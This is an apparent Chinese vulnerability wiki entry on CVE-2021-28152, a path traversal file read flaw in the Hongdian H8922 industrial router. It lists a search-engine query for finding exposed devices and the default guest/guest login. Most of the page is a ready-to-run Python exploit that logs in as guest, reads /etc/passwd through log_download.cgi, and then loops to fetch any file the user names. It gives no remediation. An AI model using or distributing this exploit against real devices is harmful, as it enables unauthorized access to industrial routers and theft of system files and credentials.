宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152

# 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152

## 漏洞描述

宏电 H8922 后台存在任意文件读取漏洞，低权限用户通过漏洞可以获取任意文件内容

## 漏洞影响

> [!NOTE]
>
> 宏电 H8922

## ZoomEy

> [!NOTE]
>
> app:”Hongdian H8922 Industrial Router”

## 漏洞复现

登录后台(存在访客用户默认账号密码 guest/guest)

漏洞存在于 log_download.cgi 文件中

使用type参数读取文件并下载日志给用户，使用 **../../** 可以跳转根目录读取任意文件

## 漏洞POC

“`python
import requests
import sys
import random
import re
from lxml import etree
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mTitle : 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152 \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url, filename):
vuln_url = target_url + “/log_download.cgi?type=../..{}”.format(filename)
headers = {
“Content-Type”: “application/x-www-form-urlencoded”,
“Authorization”: “Basic Z3Vlc3Q6Z3Vlc3Q=”
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print(“\033[32m[o] 正在请求 {}/log_download.cgi?type=../../etc/passwd \033[0m”.format(target_url))
if “root” in response.text and response.status_code == 200:
print(“\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取 /etc/passwd \033[0m”.format(target_url))
print(“\033[32m[o] 响应为:\n{} \033[0m”.format(response.text))
while True:
filename = input(“\033[35mFilename >>> \033[0m”)
if filename == “exit”:
sys.exit(0)
else:
POC_2(target_url, filename)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

def POC_2(target_url, filename):
vuln_url = target_url + “/log_download.cgi?type=../..{}”.format(filename)
headers = {
“Content-Type”: “application/x-www-form-urlencoded”,
“Authorization”: “Basic Z3Vlc3Q6Z3Vlc3Q=”
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print(“\033[32m[o] {} \033[0m”.format(response.text))

except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

if __name__ == ‘__main__’:
title()
filename = ‘/etc/passwd’
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url, filename)

“`